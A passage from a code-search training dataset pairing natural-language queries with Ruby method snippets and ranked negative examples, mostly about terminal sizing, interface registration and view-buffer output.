"def terminal_size\n size = [80, 40]\n FFI::NCurses.initscr\n begin\n size = FFI::NCurses.getmaxyx(FFI::NCurses.stdscr).reverse\n ensure\n FFI::NCurses.endwin\n end\n size\n end",
"def console_col_size\n IO.console.winsize[1]\n end",
"def height\n lines.size\n end",
"def height\n lines.size\n end",
"def width\n theWidth = 0\n @theLines.each { |l| theWidth = l.length if l.length > theWidth }\n theWidth\n end",
"def length\n (lines.max_by(&:length) || '').size\n end",
"def terminal_width\n terminal_size.first\n end",
"def line_depth(line)\n whitespace = line.scan(/^([\\s]+)/).flatten.first\n if whitespace\n whitespace.length\n else\n 0\n end\n end",
"def line_number\n $curwin.cursor.first\n end",
"def line_items_count\n self.line_items.size\n end",
"def terminal_width\n @terminal_width ||= (ENV[\"COLUMNS\"] || 80).to_i\nend",
"def data_line_count\n 1\n end",
"def _unix_max_line_length\n # Based on autoconf's arg_max calculator, see\n # http://www.in-ulm.de/~mascheck/various/argmax/autoconf_check.html\n calc_line_max = 'i=0 max= new= str=abcd; \\\n while (test \"X\"`echo \"X$str\" 2>/dev/null` = \"XX$str\") >/dev/null 2>&1 && \\\n new=`expr \"X$str\" : \".*\" 2>&1` && \\\n test \"$i\" != 17 && \\\n max=$new; do \\\n i=`expr $i + 1`; str=$str$str;\\\n done; echo $max'\n line_max = session.shell_command_token(calc_line_max).to_i\n\n # Fall back to a conservative 4k which should work on even the most\n # restrictive of embedded shells.\n line_max = (line_max == 0 ? 4096 : line_max)\n vprint_status(\"Max line length is #{line_max}\")\n\n line_max\n end",
"def terminal_height; end",
"def terminal_height; end",
"def line_items_count\n self.line_items.count\n end",
"def line_num; end",
"def maatsf_total_line_width(y = 0)\n contents_width\n end",
"def remaining\n 80 - current_line.size\n end",
"def lines?\n @lines\n end",
"def number_of_lines_in_first_chunk\n end_method_line = last_method_source_location.last\n\n end_method_line - line\n end",
"def maatsf_total_line_width(y = 0)\n contents_width - new_line_x\n end",
"def lines_counter\n f = File.open('peliculas.txt', 'r')\n print f.readlines.length\n f.close\nend",
"def _rl_get_screen_size(tty, ignore_env)\r\n\r\n if @hConsoleHandle\r\n csbi = 0.chr * 24\r\n @GetConsoleScreenBufferInfo.Call(@hConsoleHandle,csbi)\r\n wc,wr = csbi[0,4].unpack('SS')\r\n # wr,wc, = `mode con`.scan(/\\d+\\n/).map{|x| x.to_i}\r\n @_rl_screenwidth = wc\r\n @_rl_screenheight = wr\r\n else\r\n wr, wc = 0\r\n retry_if_interrupted do\r\n wr, wc = `stty size`.split(' ').map { |x| x.to_i }\r\n end\r\n @_rl_screenwidth = wc\r\n @_rl_screenheight = wr\r\n if ignore_env==0 && ENV['LINES']\r\n @_rl_screenheight = ENV['LINES'].to_i\r\n end\r\n if ignore_env==0 && ENV['COLUMNS']\r\n @_rl_screenwidth = ENV['COLUMNS'].to_i\r\n end\r\n end\r\n\r\n # If all else fails, default to 80x24 terminal.\r\n if @_rl_screenwidth.nil? || @_rl_screenwidth <= 1\r\n @_rl_screenwidth = 80\r\n end\r\n if @_rl_screenheight.nil? || @_rl_screenheight <= 0\r\n @_rl_screenheight = 24\r\n end\r\n # If we're being compiled as part of bash, set the environment\r\n # variables $LINES and $COLUMNS to new values. Otherwise, just\r\n # do a pair of putenv () or setenv () calls.\r\n sh_set_lines_and_columns(@_rl_screenheight, @_rl_screenwidth)\r\n\r\n if !@_rl_term_autowrap\r\n @_rl_screenwidth-=1\r\n end\r\n @_rl_screenchars = @_rl_screenwidth * @_rl_screenheight\r\n end",
"def prompt_ending_index()\r\n if !@rl_byte_oriented\r\n @prompt_physical_chars\r\n else\r\n (@prompt_last_invisible+1)\r\n end\r\n end",
"def terminal_size\n format = 'SSSSSssssSS'\n buf = ([0] * format.size).pack(format)\n stdout_handle = WinAPI.GetStdHandle(0xFFFFFFF5)\n\n WinAPI.GetConsoleScreenBufferInfo(stdout_handle, buf)\n _, _, _, _, _,\n left, top, right, bottom, _, _ = buf.unpack(format)\n return right - left + 1, bottom - top + 1\n end",
"def from_stty\n return unless output.tty?\n size = run_command('stty', 'size').split.map(&:to_i)\n size if nonzero_column?(size[1])\n rescue Errno::ENOENT\n end",
"def display_width\n @width ||= begin\n require 'curses'\n Curses.init_screen\n x = Curses.cols\n Curses.close_screen\n x\n rescue\n HELP_WIDTH\n end\n @width - HELP_INDENT\n end",
"def size_in_lines(filepath)\n f = File.new(filepath)\n f.readlines[-1]\n count = f.lineno.to_s\n puts \"The link check report contains #{count} lines.\".blue\n puts \"To see the report, open the #{filepath} file.\".blue\n end",
"def default_line_number\n return current_layout.line_count\n end",
"def line_level line\n line.match(/^[ \\t]*/)[0].gsub(\"\\t\", \" \").split('').length\n end",
"def console_width\n @console_width ||= infer_console_width\n end",
"def visible_line_number\n item_max\n end",
"def visible_line_number\n item_max\n end",
"def visible_line_number\n item_max\n end"
] | [
"0.71714467",
"0.6992928",
"0.6932099",
"0.6932099",
"0.6847231",
"0.6753881",
"0.66749424",
"0.6661989",
"0.6558362",
"0.65137",
"0.6512988",
"0.6503775",
"0.65018797",
"0.64677733",
"0.6441898",
"0.641452",
"0.6382001",
"0.63357705",
"0.6311618",
"0.6301831",
"0.6246852",
"0.6236673",
"0.62306076",
"0.6181041",
"0.6176682",
"0.61596256",
"0.61570823",
"0.6146952",
"0.6146671",
"0.61287737",
"0.6118235",
"0.6118235",
"0.6096372",
"0.6073677",
"0.6070392",
"0.6066966",
"0.60500485",
"0.6047303",
"0.6044708",
"0.6036425",
"0.6033584",
"0.60296214",
"0.601829",
"0.601829",
"0.6011149",
"0.60105354",
"0.60105354",
"0.6005072",
"0.59712285",
"0.5958221",
"0.5938593",
"0.5935396",
"0.5935396",
"0.59309185",
"0.5913944",
"0.5906097",
"0.58984023",
"0.5895844",
"0.5895844",
"0.5894161",
"0.5890213",
"0.588267",
"0.5877002",
"0.5867954",
"0.5866196",
"0.5865869",
"0.5856287",
"0.5849263",
"0.5830879",
"0.5830879",
"0.58251697",
"0.58228797",
"0.58213675",
"0.58201563",
"0.58198607",
"0.5817143",
"0.58144057",
"0.5810913",
"0.58089256",
"0.5799164",
"0.5799164",
"0.57961655",
"0.5793026",
"0.5791444",
"0.57798105",
"0.57721454",
"0.5771322",
"0.57572013",
"0.5744647",
"0.5741849",
"0.5737889",
"0.5730301",
"0.5712051",
"0.5696274",
"0.5694728",
"0.56907386",
"0.56807554",
"0.5657322",
"0.56428385",
"0.56428385",
"0.56428385"
] | 0.0 | -1 |
Register an interface by name which will display output from a event or command. This provides the means for you to define your application's views without their content. | def interface(name = '', &block)
API::Interface.define({ name: name }, &block)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def register(interface)\n InvalidInterfaceError.check(interface)\n \n interfaces[interface.to_s.demodulize.underscore.to_sym] = interface\n end",
"def register_ui thing\n @uis << thing\n end",
"def name\n\t\t\"Interface Fingerprinter\"\n\tend",
"def register_outputter(name, klass, method_name)\n outputters[name] = [klass, method_name]\n end",
"def name\n\t\t\"Stdapi: User interface\"\n\tend",
"def name\n\t\t\"Stdapi: User interface\"\n\tend",
"def name\n\t\t\"Stdapi: User interface\"\n\tend",
"def add_output(name, handler)\n @outputs[name] = handler\n end",
"def interface(name, &block)\n raise Vedeu::Error::MissingRequired unless name\n raise Vedeu::Error::RequiresBlock unless block_given?\n\n attributes = { client: client(&block), name: name }\n\n interface = Vedeu::Interfaces::Interface\n .build(attributes, &block)\n .store\n\n add_buffers!(name)\n add_cursor!(name)\n add_editor!(name) if interface.editable?\n add_focusable!(name)\n add_keymap!(name)\n\n interface\n end",
"def view(name, &block)\n @views[name] = block\n end",
"def add_output(type, *args)\n class_name = type.to_s.capitalize\n klass = Drone::Interfaces.const_get(class_name)\n @output_modules << klass.new(*args)\n end",
"def output(name, &block)\n raise \"Endpoint :#{@name} declares the output :#{name} twice.\" if @outputs.find { |o| o.name == name }\n output = Output.new name\n @outputs << output\n raise 'You must pass a block when calling `output`.' unless block_given?\n output.instance_eval(&block)\n output\n end",
"def render_interface(stream)\n @render_interface = true\n render_function_declaration(stream) if live? && (public? || private?)\n end",
"def use(name)\n Vedeu::Interface.new(Vedeu::Interfaces.find(name))\n end",
"def add(interface_name)\n model.add(interface_name)\n end",
"def views(name = nil)\n raise NotImplementedError, \"views is an abstract method\"\n end",
"def output\n UI\n end",
"def register(view_hash)\n self.class.register view_hash\n end",
"def register(ui, event_filter)\n @event_filter = event_filter\n ui.register(self)\n end",
"def set_interface(name)\n\tif !name\n\t\tputs 'please enter audio output interface name.'\n\t\treturn -1\n\tend\n\n\tdevs = CoreAudio.devices\n\n\ttgt = devs.find{|dev| dev.name.index(name)}\n\tif !tgt\n\t\tp \"no match interface #{name}\"\n\t\treturn -1\n\tend\n\n\tCoreAudio.set_default_output_device(tgt)\n\tp \"select default output audio interface #{tgt.name}\"\nend",
"def output\n send(\"output_#{@type}\")\n end",
"def init_ui(input, output)\n\t\tconsole.init_ui(input, output)\n\t\tconsole.set_log_source(log_source)\n\n\t\tsuper\n\tend",
"def init_ui(input, output)\n\t\tself.user_input = input\n\t\tself.user_output = output\n\t\tconsole.init_ui(input, output)\n\t\tconsole.set_log_source(log_source)\n\n\t\tsuper\n\tend",
"def register\n end",
"def register\n self.class.definitions[name] = self\n self\n end",
"def default_output\n name\n end",
"def show\n @interface = Interface.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @interface }\n end\n end",
"def new_interface(message)\n if @gui\n Commitsu::Interface::Gui.new(message)\n else\n Commitsu::Interface::Text.new(message)\n end\n end",
"def print(*args)\n @interface.print(*args)\n end",
"def print(*args)\n @interface.print(*args)\n end",
"def sparkRegisterCustomRender(className)\n logNormal($sparkPrefix + \" sparkRegisterCustomRender \" + className + \"\\n\")\n sparkGetSimulationServer()\n sparkCreate(className, $serverPath+'simulation/RenderControl/'+className)\nend",
"def register\n end",
"def register\n end",
"def register\n end",
"def output(*args)\n if info.redirect_output_to\n out = $manager.get_object info.redirect_output_to\n\n if out\n out.output \"[#{self.name} sees: #{args[0]}]\"\n end\n end\n end",
"def register(name)\n Assertion.register_macro name, self\n end",
"def say_hello (name)\n\t\t\t\tputs \"Ich bin #{name}\"\n\t\t\tend",
"def say_hello (name)\n\t\t\t\tputs \"Ich bin #{name}\"\n\t\t\tend",
"def initialize(input:, output:)\n @ui = UI.new(input, output)\n end",
"def initialize(input:, output:)\n @ui = UI.new(input, output)\n end",
"def register(name, options={})\n concerns(options[:as]) if options[:as].present?\n self.name = name.to_sym\n Trackerific::Services[self.name] = self\n end",
"def interface; end",
"def interface; end",
"def display\n if command\n write_green \"\\t#{hname}\"\n command && write_cyan(\"\\t vite-faits #{command}\")\n end\n # TODO Quand on pourra sortir une version HTML, on pourra mettre\n # un lien vers le mode d'emploi.\n # manuel && puts(\"\\t Ancre manuel : ##{manuel}\")\n end",
"def display(name)\n puts manpage(name)\n end",
"def show\n @concrete_interface = SWUI::ConcreteInterface.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @concrete_interface }\n end\n end",
"def add(attributes)\n validate_attributes!(attributes)\n\n Vedeu.log(\"Registering interface: '#{attributes[:name]}'\")\n\n storage.store(attributes[:name], attributes)\n\n register_event(attributes)\n\n true\n end",
"def display_method name\n out = RDoc::Markup::Document.new\n\n add_method out, name\n\n display out\n end",
"def name\n 'outbox'\n end",
"def printInterface(pageName, concreteCode, ajaxcontrols=nil, css=nil, effects=nil, appData=\"\")\r\n findAjaxControls(ajaxcontrols) unless ajaxcontrols.nil?\r\n findCSS(css) unless css.nil?\r\n findEffects(effects) unless effects.nil?\r\n data = get_events(pageName)\r\n @eventData << \"if (interfaceName == '#{pageName}') { \\n\"\r\n data = \"{\\\"nodes\\\":[#{data}]}\" unless data.nil? or data.blank?\r\n @eventData << \"return '#{data}' \\n\" \r\n @eventData << \"} \\n\"\r\n data = get_decorations(pageName)\r\n @animData << \"if (interfaceName == '#{pageName}') { \\n\"\r\n data = \"{\\\"nodes\\\":[#{data}]}\" unless data.nil? or data.blank?\r\n @animData << \"return '#{data}' \\n\" \r\n @animData << \"} \\n\"\r\n data = get_transitions(pageName)\r\n @transData << \"if (interfaceName == '#{pageName}') { \\n\"\r\n data = \"{\\\"nodes\\\":[#{data}]}\" unless data.nil? or data.blank?\r\n @transData << \"return '#{data}' \\n\" \r\n @transData << \"} \\n\"\r\n begin\r\n # Exceptions raised by this code will\r\n # be caught by the following rescue clause\r\n concreteCode.each { |line|\r\n @bodyContent << line\r\n divId = line.slice(/<div id='\\S+'/)\r\n if (!divId.nil?)\r\n divId.slice!('<div id=\\'')\r\n divId.slice!('\\'')\r\n interfaceToInclude = @references[divId]\r\n if (!interfaceToInclude.nil?)\r\n interfObj = SWUI::Interface.find_by.interface_name(interfaceToInclude).execute.first\r\n\r\n if (interfObj.dynamic==\"true\") then\r\n compiler = AICompiler.new\r\n abstr_spec= SWUI::AbsInterface.preCompile(interfObj.abstract_spec.first,true, appData).first\r\n compiler.parseXML(abstr_spec)\r\n interfObj.concrete_code = compiler.concrete_code\r\n end\r\n \r\n codeToInclude = interfObj.concrete_code.first\r\n ajaxcontrolsToInclude = interfObj.ajaxcontrols.first\r\n cssToInclude = interfObj.concrete_interfaces.first\r\n effectsToInclude= interfObj.effects.first\r\n printInterface(interfaceToInclude, codeToInclude, ajaxcontrolsToInclude, cssToInclude, effectsToInclude, appData)\r\n end\r\n end\r\n }\r\n return true\r\n rescue Exception\r\n @bodyContent << \"Interface #{pageName} not found.\\n\"\r\n @bodyContent << $! \r\n return false\r\n end\r\n end",
"def create(name)\n configure [\"interface #{name}\", 'no ip address', 'switchport']\n end",
"def view(name, locator)\n define_method(name) do\n platform.click_view(locator)\n end\n end",
"def render\r\n view = @view\r\n for command in @commands\r\n view.send(*command)\r\n end\r\n view\r\n end",
"def add_default_handlers\n # Puts (for debugging)\n @handlers[\"#{NAMESPACE}.puts\"] = Proc.new { |dialog, *arguments|\n puts(*arguments.map { |argument| argument.inspect })\n }\n RESERVED_NAMES << \"#{NAMESPACE}.puts\"\n\n # Error channel (for debugging)\n @handlers[\"#{NAMESPACE}.error\"] = Proc.new { |dialog, type, message, backtrace|\n Utils.log_error(type + ': ' + message, {:language => 'javascript', :backtrace => backtrace})\n }\n RESERVED_NAMES << \"#{NAMESPACE}.error\"\n end",
"def emit(intf, sig, *args)\n @service.bus.emit(@service, self, intf, sig, *args)\n end",
"def display\n puts render\n end",
"def register(...)\n container.register(...)\n end",
"def interface(mode, name, schema=nil)\n define_collection(name)\n t_provides << [name.to_s, mode]\n @tables[name] = (mode ? BudInputInterface : BudOutputInterface).new(name, self, schema)\n end",
"def register(name, type)\n registry[name] = type\n end",
"def hello_activity(name)\n\t\tputs \"Hello, #(name)!\"\n\tend",
"def register(name, clazz)\n super([name, clazz], Adapter)\n end",
"def display\n dispose\n raise NotImplementedError, \"Must implement display method\"\n end",
"def add_rest_interface(interface)\n @lines ||= []\n @lines.push \"! colspan='5' style='background:#ABE' | #{interface}\"\n @lines.push \"|-\"\n end",
"def say_hello (name)\n\t\t\t\t\"Ich bin #{name}\"\n\t\t\tend",
"def show\n raise NotImplementedError\n end",
"def display_info(event)\n\n event.print_event_information\n\n open_in_browser(event)\n\n end",
"def register(name, klass)\n Registry.instance.register(name, klass)\n end",
"def initialize\n register_script \"Provide on-protocol help for bot scripts and commands.\"\n\n register_command \"help\", :cmd_help, 0, 0, nil, \"Show help for the given command or a list of all commands. Parameters: [command]\"\n register_command \"script\", :cmd_script, 0, 0, nil, \"Show a description of the given script or a list of all scripts. Parameters: [script]\"\nend",
"def say_hello (name)\n\tputs \"Ich bin #{name}.\"\nend",
"def callback(widget)\n # Display the 'label' property of the widget.\n # Refer to the API reference for more information.\n puts \"Hello again - #{widget.label}(#{widget}) was pressed.\"\nend",
"def create(name)\n configure([\"interface #{name}\", 'no switchport'])\n end",
"def output(*instance_variable_names)\n instance_variable_names.each do |name|\n outputs[name.to_sym] = \"@#{name}\"\n end\n end",
"def say_hello (name)\n\tputs \"Ich bin #{name}\"\nend",
"def show() end",
"def show() end",
"def show() end",
"def display_all_shortcuts\n # Interface method\n end",
"def on_output(&block)\n @on_output << block\n end",
"def initialize\n register_script \"Provides an interface to Pandorabots.\"\n\n register_command \"pandora\", :pandora, 1, 0, :half_op, \"Enable or disable Pandorabot interaction. Parameters: ON or OFF.\"\n\n register_event :PRIVMSG, :on_message\nend",
"def add_view(view)\n\n # Enter\n view.signal_connect('motion-notify-event') do |view, event|\n motion_handler(view, event)\n end\n\n # Leave\n view.signal_connect('leave-notify-event') do |view, event|\n leave_handler(view, event)\n end\n end",
"def add_view(listener)\n @views.add listener\n end",
"def interface; self.class.interface; end",
"def display(port=$>) end",
"def register(name, klass)\n @registry[name] = klass\n end",
"def name\n \"#{self[:interface]} #{self[:vni]}\"\n end",
"def new\n @interface = Interface.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @interface }\n end\n end",
"def new\n @interface = Interface.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @interface }\n end\n end",
"def register(*messages)\n if messages.first == :echo\n puts 'echo'\n messages.shift\n else\n puts\n end\n puts messages.join(' ')\nend",
"def show\n super\n\n Vedeu.buffers.by_name(name).show\n end",
"def register\n raw \"PASS #{@config[:password]}\" if @config.key? :password\n raw \"CAP LS\" if defined? MODULE_LOADED_CLIENT_CAPABILITIES\n\n raw \"NICK #{@nick}\"\n raw \"USER #{@user} 0 0 :#{@realname}\"\n end",
"def render\n view = @view\n for command in @commands\n view.send( *command )\n end\n view\n end",
"def add_handlers\n template 'templates/dry/app.tt', \"#{name}/app.rb\"\n end",
"def user_interface\n\tputs \"Hello, agent. Enter the name you would like to scramble below.\"\n\tagent_name = gets.chomp\n\n\talias_generator(agent_name)\nend",
"def register(object); end",
"def register(plugin, id); end",
"def outputter_for(name, *a, &b)\n outputter_class_for(name).new(self, *a, &b)\n end",
"def on_reference(name)\n STDOUT << \"on_reference:\" << \"\\n\" <<\n \" name:\" << name << \"\\n\"\n STDOUT.flush\n end",
"def display(screen)\n\n end",
"def output( h )\n if h.kind_of? Box\n output_box( h )\n elsif h.kind_of? Line\n output_line( h )\n elsif h.kind_of? Ellipse\n output_ellipse( h )\n else\n raise RuntimeError, \"Unknown host type for label: \\\"#{h.class}\\\"...\"\n end\n end",
"def display_shortcut(element)\n # Interface method\n end"
] | [
"0.5812963",
"0.57885903",
"0.57239634",
"0.5534636",
"0.54944015",
"0.54944015",
"0.54944015",
"0.5466492",
"0.5456569",
"0.5287779",
"0.52860355",
"0.5271038",
"0.526901",
"0.5255215",
"0.5211872",
"0.51988626",
"0.51811814",
"0.51612604",
"0.5107999",
"0.5107547",
"0.5058994",
"0.5017478",
"0.4958729",
"0.49557424",
"0.4908055",
"0.49030155",
"0.48959607",
"0.48896584",
"0.48888323",
"0.48888323",
"0.48867854",
"0.48853552",
"0.48853552",
"0.48853552",
"0.48802108",
"0.48750067",
"0.4871753",
"0.4871753",
"0.4871093",
"0.4871093",
"0.48323107",
"0.48235577",
"0.48235577",
"0.4820716",
"0.48165038",
"0.4816185",
"0.480617",
"0.4786721",
"0.47797227",
"0.47753498",
"0.4772046",
"0.4758879",
"0.4758001",
"0.47570366",
"0.475119",
"0.47497767",
"0.47485963",
"0.4748148",
"0.47471854",
"0.47428766",
"0.47427043",
"0.47369695",
"0.47328684",
"0.47304237",
"0.47295523",
"0.47223854",
"0.4719984",
"0.47064534",
"0.47028396",
"0.47014162",
"0.4701303",
"0.46877685",
"0.4674754",
"0.46715683",
"0.46715683",
"0.46715683",
"0.46698096",
"0.466686",
"0.4666587",
"0.46661282",
"0.46550047",
"0.46542105",
"0.4651187",
"0.46363938",
"0.46316367",
"0.46316022",
"0.46296135",
"0.46275038",
"0.4623224",
"0.46223205",
"0.46214032",
"0.46189377",
"0.46134797",
"0.4612133",
"0.4609264",
"0.46085063",
"0.45976052",
"0.45946503",
"0.4591411",
"0.45895088"
] | 0.59082633 | 0 |
Directly write a view buffer to the terminal. Using this method means that the refresh event does not need to be triggered after creating the view or views, though can be later triggered if needed. | def render(&block)
API::Composition.render(&block)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def write_to_screen!; end",
"def write_to_screen!; end",
"def render\n Vedeu::Output.render(buffer)\n end",
"def redraw\n @terminal.erase_screen\n render\n end",
"def write(value)\n update_buffer(value)\n\n render\n\n self\n end",
"def render(view)\n # Since only one command is executed per thread, we can store the view to\n # render as a thread-local variable.\n raise \"The render method should be called at most once per command\" if Thread.current[:render_view]\n Thread.current[:render_view] = view.to_s\n return nil\n end",
"def buffer=(buffer)\n @session.request(:vim_set_current_buffer, buffer)\n end",
"def dump_to_screen(screen,refresh=false)\n\t\t# get cursor position\n\t\typos = @row - @linefeed\n\t\tif ypos < 0\n\t\t\t@linefeed += ypos\n\t\t\typos = 0\n\t\telsif ypos >= screen.rows - 3\n\t\t\t@linefeed += ypos + 3 - screen.rows\n\t\t\typos = screen.rows - 3\n\t\tend\n\t\t@cursrow = ypos+1\n\t\t@curscol = bc2sc(@row,@col) - @colfeed\n\t\tif @curscol > (screen.cols-1)\n\t\t\t@colfeed += @curscol - screen.cols + 1\n\t\t\t@curscol = screen.cols - 1\n\t\tend\n\t\tif @curscol < 0\n\t\t\t@colfeed += @curscol\n\t\t\t@curscol = 0\n\t\tend\n\t\t# report on cursor position\n\t\tr = (@linefeed+@cursrow-1)\n\t\tc = (@colfeed+@curscol)\n\t\tr0 = @text.length - 1\n\t\tposition = r.to_s + \"/\" + r0.to_s + \",\" + c.to_s\n\t\tif @buffer_history.modified?\n\t\t\tstatus = \"Modified\"\n\t\telse\n\t\t\tstatus = \"\"\n\t\tend\n\t\tif !@editmode\n\t\t\tstatus = status + \" VIEW\"\n\t\tend\n\t\t# report on number of open buffers\n\t\tif $buffers.nbuf <= 1\n\t\t\tlstr = @filename\n\t\telse\n\t\t\tnb = $buffers.nbuf\n\t\t\tib = $buffers.ibuf\n\t\t\tlstr = sprintf(\"%s (%d/%d)\",@filename,ib+1,nb)\n\t\tend\n\t\tscreen.write_top_line(lstr,status,position)\n\t\t# write the text to the screen\n\t\tdump_text(screen,refresh)\n\t\tif @extramode\n\t\t\t$screen.write_message(\"EXTRAMODE\")\n\t\tend\n\t\t# set cursor position\n\t\tCurses.setpos(@cursrow,@curscol)\n\tend",
"def output_buffer; end",
"def output_buffer; end",
"def render\n view = @view\n for command in @commands\n view.send( *command )\n end\n view\n end",
"def print_buffer(buf)\n $stdout.print buf if @flush_buffer\n $stdout.flush unless $stdout.sync\n end",
"def flush_buffer\n buf = @@output_buffer.dup\n @@output_buffer.clear\n buf\n end",
"def buffer=(buf)\n @buffer = buf\n @snippet_loader.current_snippets.each do |snippet|\n snippet.buffer = buf\n end\n @manipulators.each { |man| man.buffer = buf }\n monkey_patch_buffer!\n @buffer\n end",
"def write( event )\n add_to_buffer event\n self\n end",
"def flush_buffer\n # note we must discard cancelled timer or else we never create a new timer and stay cancelled.\n if @timer\n @timer.cancel\n @timer = nil\n end\n\n to_send = nil\n @mutex.synchronize do\n unless @buffer.empty?\n to_send = @buffer\n @buffer = ''\n end\n end\n\n if to_send\n internal_send_audit(:kind => :output, :text => to_send, :category => EventCategories::NONE)\n end\n end",
"def render\r\n view = @view\r\n for command in @commands\r\n view.send(*command)\r\n end\r\n view\r\n end",
"def open_buffer\n @out_buffers ||= []\n @out_buffers.push(@out)\n @out = \"\"\n end",
"def shell_write(buf)\n\t\tshell_init\n\n\t\tbegin\n\t\t\tframework.events.on_session_command(self, buf.strip)\n\t\t\tlen = @shell.channel.write(\"#{buf}\\n\")\n\t\trescue ::Exception => e\n\t\t\tshell_close\n\t\t\traise e\n\t\tend\n\n\t\tlen\n\tend",
"def write(buffer)\n QRUtil.stringToBytes(self.getData() ).each { |d|\n buffer.put(d, 8)\n }\n end",
"def write_to_buffer\n emit_comments_before if buffer.fresh_line?\n dispatch\n comments.consume(node)\n emit_eof_comments if parent.is_a?(Root)\n self\n end",
"def render\n clear\n\n Vedeu::Direct.write(value: output, x: bx, y: by)\n end",
"def flush_buffer\n if @timer\n @timer.cancel\n @timer = nil\n end\n unless @buffer.empty?\n internal_send_request('append_output', :text => @buffer)\n @buffer = ''\n end\n end",
"def drb_store_output!\n Vedeu.bind(:_drb_store_output_) do |data|\n Vedeu::VirtualBuffers.store(Vedeu::VirtualBuffer.output(data))\n end\n end",
"def buffer\n @buffer ||= Utils::Buffer.new(config.buffer, log_header: name) do |string|\n @on_output.call(string, :header => log_header) if @on_output\n end\n end",
"def refresh\n Vedeu.trigger(:_refresh_view_, current)\n\n Vedeu.trigger(:_refresh_cursor_, current)\n end",
"def erb_with_output_buffer(buf = '')\n @_out_buf, old_buffer = buf, @_out_buf\n yield\n @_out_buf\n ensure\n @_out_buf = old_buffer\n end",
"def _buffer( the_binding )\n @_buffer = eval( \"_buf\", the_binding )\n end",
"def with_output_buffer\n self.output_buffer, old_buffer = \"\", self.output_buffer\n yield if block_given?\n output_buffer\n ensure\n self.output_buffer = old_buffer\n end",
"def output_buffer=(_arg0); end",
"def output_buffer=(_arg0); end",
"def redraw\n # this kinda stuff should be inside widget or some util class\n c = @component\n if c.is_double_buffered?\n c.set_buffer_modified\n c.buffer_to_window\n else\n # force a repaint, if not buffered object e.g scrollpane.\n $log.debug \" TP: forcing repaint of non-buffered object #{c} \"\n c.repaint_all\n c.repaint\n end\n end",
"def render(view, locals, buffer = T.unsafe(nil), add_to_stack: T.unsafe(nil), &block); end",
"def buffer=(buffer)\n @io = buffer\n end",
"def buffer\n @buffer ||= Buffer.new(config.buffer) do |string|\n @on_output.call(string, :header => log_header) if @on_output\n end\n end",
"def write_buffer # :nodoc:\n output.to_s\n end",
"def erb_with_output_buffer(buf = '') #:nodoc:\n @_out_buf, old_buffer = buf, @_out_buf\n yield\n @_out_buf\n ensure\n @_out_buf = old_buffer\n end",
"def buffer(buffer_name = nil)\n #@_out_buf\n #buffer_name ||= Tilt.current_template.instance_variable_get('@outvar') || @outvar || Vue::Helpers.default_outvar\n buffer_name ||=\n ((ct = Tilt.current_template) && ct.instance_variable_get(:@outvar)) ||\n Thread.current.instance_variable_get(:@current_eoutvar) ||\n Vue::Helpers.default_outvar\n #puts \"BUFFER thread-ivars: #{Thread.current.instance_variables}, thread-local-vars: #{Thread.current.send(:local_variables)}\"\n #puts \"BUFFER chosen: #{buffer_name}, controller/view ivars: #{instance_variables}, controller/view local-vars: #{local_variables}\"\n #instance_variable_get(buffer_name)\n instance_variable_get(buffer_name.to_s)\n end",
"def write_out_window\n @options[:window_size].times do |i|\n idx = i + ((@window % 2) * @options[:window_size])\n unless @buffer[idx].nil?\n @file.write @buffer[idx]\n end\n end\n end",
"def render(view, locals, buffer = nil, add_to_stack: true, &block)\n instrument_render_template do\n compile!(view)\n if buffer\n view._run(method_name, self, locals, buffer, add_to_stack: add_to_stack, has_strict_locals: strict_locals?, &block)\n nil\n else\n view._run(method_name, self, locals, OutputBuffer.new, add_to_stack: add_to_stack, has_strict_locals: strict_locals?, &block)&.to_s\n end\n end\n rescue => e\n handle_render_error(view, e)\n end",
"def render(&block) #:nodoc:\r\n instance_eval(&block)\r\n @output_buffer\r\n end",
"def write_buffer(io = T.unsafe(nil)); end",
"def store_page_view #:nodoc:\n return if @page_view == 0\n data = ['C8081100C808000000000040000000000900000000'].pack(\"H*\")\n append(data)\n end",
"def buffer &writes\n begin\n buffer_on!\n writes.call\n ensure\n buffer_off!\n end\n flush_buffer!\n end",
"def draw\n Termbox.tb_clear\n @views.each {|view| view.draw}\n Termbox.tb_present\n end",
"def stamp\n @output.write(\"#{ESC}o\")\n end",
"def buffer\n $curwin.buffer\n end",
"def refresh\n generate_part_rects\n generate_buffers\n self\n end",
"def print_to_output_buffer(response, output_buffer)\n return if output_buffer.closed?\n output_buffer << response\n output_buffer.close\n end",
"def shell_write(buf)\n rstream.write(buf)\n end",
"def shell_write(buf)\n rstream.write(buf)\n end",
"def clear\n @monitor.synchronize {\n new_buffer\n }\n end",
"def process_output(buf)\n force_utf8(buf)\n print_buffer(buf)\n\n @out_mutex.synchronize do\n @buffer << buf\n if @constrain && @buffer.length > @buffer_size\n @buffer = @buffer[-@buffer_size..-1]\n end\n @thread.wakeup if @thread\n end\n end",
"def shell_write(buf)\n return unless buf\n\n begin\n framework.events.on_session_command(self, buf.strip)\n rstream.write(buf)\n rescue ::Rex::SocketError, ::EOFError, ::IOError, ::Errno::EPIPE => e\n #print_error(\"Socket error: #{e.class}: #{e}\")\n shell_close\n raise e\n end\n end",
"def draw\r\n yield @screen\r\n\r\n # Show the changes to the screen surface by flipping the buffer that is visible\r\n # to the user. All changes made to the screen surface will appear\r\n # simultaneously\r\n @screen.flip\r\n end",
"def buffer(buf_width=width, buf_height=height, renderer=@render_mode)\n buf = create_graphics(buf_width, buf_height, renderer)\n buf.begin_draw\n yield buf\n buf.end_draw\n buf\n end",
"def _erb_buffer( the_binding )\n eval(\"_erbout\", the_binding, __FILE__, __LINE__)\n end",
"def _erb_buffer( the_binding )\n eval(\"_erbout\", the_binding, __FILE__, __LINE__)\n end",
"def write(buffer, offset, count)\n # Do the actual write. Note that this will automatically honor $stdout redirection \n # of the ScriptEngine of the tutorial application.\n print @encoding.get_string(buffer, offset, count)\n end",
"def shell_write(buf)\n raise NotImplementedError\n end",
"def flush\n\t\t\t\tsyswrite(@write_buffer)\n\t\t\t\t@write_buffer.clear\n\t\t\tend",
